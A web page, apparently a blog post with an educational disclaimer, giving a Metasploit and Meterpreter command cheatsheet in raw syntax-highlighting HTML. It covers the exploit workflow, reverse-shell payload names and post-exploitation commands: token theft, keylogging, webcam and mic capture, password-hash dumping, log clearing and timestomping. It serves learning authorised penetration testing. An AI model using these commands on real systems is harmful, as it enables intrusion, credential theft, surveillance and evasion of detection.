Views: 6
Disclaimer:
This post is created solely for educational and research purposes. The techniques, tools, and concepts discussed are intended to enhance cybersecurity awareness and skills by demonstrating how offensive security testing works. Unauthorized access to computer systems is a criminal offense and subject to severe penalties. Always practice these techniques in a controlled lab environment or with explicit permission from the system owner.
MSF Cheatsheet
1. Starting & Updating
<span class="line"><span style="color: #268BD2">msfconsole</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Start Metasploit</span></span>
<span class="line"><span style="color: #268BD2">msfupdate</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Update Metasploit (if installed from GitHub)</span></span>
<span class="line"><span style="color: #268BD2">searchsploit</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">ter</span>
<span style="color: #657B83">m</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Search Exploit-DB (outside MSF)</span></span>
2. Module Types
Metasploit modules are stored under /usr/share/metasploit-framework/modules/
and come in different types:
- auxiliary → Scanning, fuzzing, sniffing, brute-forcing.
- exploit → The actual exploit code.
- payload → Shellcode delivered by the exploit.
- encoder → Encodes payload to evade detection.
- nop → “No Operation” generator for buffer alignment.
- post → Post-exploitation modules.
3. Basic Workflow
<span class="line"><span style="color: #268BD2">search</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">ter</span>
<span style="color: #657B83">m</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Search for modules</span></span>
<span class="line"><span style="color: #268BD2">use</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">path</span>
<span style="color: #859900">|</span>
<span style="color: #268BD2">name></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Use a module</span></span>
<span class="line"><span style="color: #268BD2">info</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Get module info</span></span>
<span class="line"><span style="color: #268BD2">show</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">options</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show required parameters</span></span>
<span class="line"><span style="color: #268BD2">set</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">optio</span>
<span style="color: #657B83">n</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">valu</span>
<span style="color: #657B83">e</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Set an option</span></span>
<span class="line"><span style="color: #268BD2">unset</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">optio</span>
<span style="color: #657B83">n</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Clear an option</span></span>
<span class="line"><span style="color: #268BD2">show</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">payloads</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List compatible payloads</span></span>
<span class="line"><span style="color: #268BD2">set</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">payload</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">payload_pat</span>
<span style="color: #657B83">h</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Set specific payload</span></span>
<span class="line"><span style="color: #268BD2">show</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">targets</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show target OS/application list</span></span>
<span class="line"><span style="color: #268BD2">set</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">target</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">I</span>
<span style="color: #657B83">D</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Set target</span></span>
<span class="line"><span style="color: #268BD2">exploit</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Run the exploit</span></span>
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Same as exploit</span></span>
<span class="line"><span style="color: #268BD2">exploit</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-j</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Run in background</span></span>
<span class="line"><span style="color: #268BD2">exploit</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-z</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Don’t interact with session</span></span>
<span class="line"><span style="color: #268BD2">check</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Check if target is vulnerable</span></span>
4. Search Examples
<span class="line"><span style="color: #268BD2">search</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">type:exploit</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">name:ftp</span></span>
<span class="line"><span style="color: #268BD2">search</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">cve:2021-3156</span></span>
<span class="line"><span style="color: #268BD2">search</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">platform:windows</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">smb</span></span>
5. Job & Session Management
<span class="line"><span style="color: #268BD2">jobs</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List background jobs</span></span>
<span class="line"><span style="color: #268BD2">jobs</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-k</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">i</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Kill a job</span></span>
<span class="line"><span style="color: #268BD2">sessions</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List sessions</span></span>
<span class="line"><span style="color: #268BD2">sessions</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-i</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">i</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Interact with a session</span></span>
<span class="line"><span style="color: #268BD2">sessions</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-k</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">i</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Kill a session</span></span>
<span class="line"><span style="color: #268BD2">sessions</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-u</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">i</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Upgrade shell to Meterpreter</span></span>
6. Payload Types
Singles – Complete payload, no staging.
Stagers – Connects back & downloads stage.
Stages – Second part of payload (meterpreter, shell, etc.).
Examples:
<span class="line"><span style="color: #268BD2">windows/meterpreter/reverse_tcp</span></span>
<span class="line"><span style="color: #268BD2">linux/x86/meterpreter_reverse_https</span></span>
<span class="line"><span style="color: #268BD2">php/meterpreter/reverse_tcp</span></span>
Meterpreter Cheatsheet
1. Core Commands
<span class="line"><span style="color: #268BD2">help</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show help menu</span></span>
<span class="line"><span style="color: #268BD2">sysinfo</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Target system info</span></span>
<span class="line"><span style="color: #268BD2">getuid</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Current user ID</span></span>
<span class="line"><span style="color: #268BD2">getpid</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Process ID</span></span>
<span class="line"><span style="color: #268BD2">getprivs</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show current privileges</span></span>
<span class="line"><span style="color: #268BD2">getsystem</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Try to get SYSTEM/root</span></span>
<span class="line"><span style="color: #268BD2">background</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Send session to background</span></span>
<span class="line"><span style="color: #268BD2">exit</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Close session</span></span>
2. File System
<span class="line"><span style="color: #268BD2">pwd</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Print working directory</span></span>
<span class="line"><span style="color: #268BD2">ls</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List files</span></span>
<span class="line"><span style="color: #268BD2">cd</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">di</span>
<span style="color: #657B83">r</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Change directory</span></span>
<span class="line"><span style="color: #268BD2">cat</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">fil</span>
<span style="color: #657B83">e</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Display file contents</span></span>
<span class="line"><span style="color: #268BD2">download</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">sr</span>
<span style="color: #657B83">c</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> [dest] </span>
<span style="color: #93A1A1; font-style: italic"># Download file</span></span>
<span class="line"><span style="color: #268BD2">upload</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">sr</span>
<span style="color: #657B83">c</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> [dest] </span>
<span style="color: #93A1A1; font-style: italic"># Upload file</span></span>
<span class="line"><span style="color: #268BD2">edit</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">fil</span>
<span style="color: #657B83">e</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Edit file in place</span></span>
<span class="line"><span style="color: #268BD2">search</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-f</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">filenam</span>
<span style="color: #657B83">e</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Search for file</span></span>
3. Process & Privilege Management
<span class="line"><span style="color: #268BD2">ps</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List processes</span></span>
<span class="line"><span style="color: #268BD2">migrate</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">pi</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Migrate to another process</span></span>
<span class="line"><span style="color: #268BD2">kill</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">pi</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Kill a process</span></span>
<span class="line"><span style="color: #268BD2">steal_token</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">pi</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Steal access token</span></span>
<span class="line"><span style="color: #268BD2">rev2self</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Revert to original user</span></span>
4. Network Commands
<span class="line"><span style="color: #268BD2">ipconfig</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show IP info</span></span>
<span class="line"><span style="color: #268BD2">route</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show network routes</span></span>
<span class="line"><span style="color: #268BD2">arp</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show ARP table</span></span>
<span class="line"><span style="color: #268BD2">portfwd</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">add</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-l</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">LPOR</span>
<span style="color: #657B83">T</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-p</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">RPOR</span>
<span style="color: #657B83">T</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-r</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">RHOS</span>
<span style="color: #657B83">T</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Port forward</span></span>
<span class="line"><span style="color: #268BD2">portfwd</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">list</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List forwards</span></span>
<span class="line"><span style="color: #268BD2">portfwd</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">delete</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-l</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">LPOR</span>
<span style="color: #657B83">T</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Remove forward</span></span>
5. Shell Access
<span class="line"><span style="color: #268BD2">shell</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Drop into system shell</span></span>
<span class="line"><span style="color: #268BD2">execute</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-f</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">cm</span>
<span style="color: #657B83">d</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Run command without shell</span></span>
<span class="line"><span style="color: #268BD2">execute</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-f</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">cmd.exe</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-i</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-H</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Interactive hidden process</span></span>
6. Screenshot & Keylogging
<span class="line"><span style="color: #268BD2">screenshot</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Capture screen</span></span>
<span class="line"><span style="color: #268BD2">keyscan_start</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Start keylogger</span></span>
<span class="line"><span style="color: #268BD2">keyscan_stop</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Stop keylogger</span></span>
<span class="line"><span style="color: #268BD2">keyscan_dump</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Dump captured keystrokes</span></span>
7. Webcam & Mic
<span class="line"><span style="color: #268BD2">webcam_list</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List webcams</span></span>
<span class="line"><span style="color: #268BD2">webcam_snap</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Take snapshot</span></span>
<span class="line"><span style="color: #268BD2">webcam_stream</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Live stream webcam</span></span>
<span class="line"><span style="color: #268BD2">record_mic</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Record from microphone</span></span>
8. Pivoting
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">autoroute</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-s</span>
<span style="color: #657B83"> </span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">subne</span>
<span style="color: #657B83">t</span>
<span style="color: #859900">></span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Add route to subnet</span></span>
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">autoroute</span>
<span style="color: #657B83"> </span>
<span style="color: #CB4B16">-p</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Show pivot routes</span></span>
9. Post Exploitation
<span class="line"><span style="color: #268BD2">hashdump</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Dump SAM hashes (Windows)</span></span>
<span class="line"><span style="color: #268BD2">clearev</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Clear event logs</span></span>
<span class="line"><span style="color: #268BD2">timestomp</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># Change file timestamps</span></span>
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">post/multi/gather/enum_applications</span>
<span style="color: #657B83"> </span>
<span style="color: #93A1A1; font-style: italic"># List installed apps</span></span>
10. Useful Post Modules
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">post/windows/gather/hashdump</span></span>
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">post/multi/recon/local_exploit_suggester</span></span>
<span class="line"><span style="color: #268BD2">run</span>
<span style="color: #657B83"> </span>
<span style="color: #2AA198">post/windows/manage/migrate</span>
<span style="color: #859900"><</span>
<span style="color: #2AA198">/cod</span>
<span style="color: #657B83">e</span>
<span style="color: #859900">></span></span>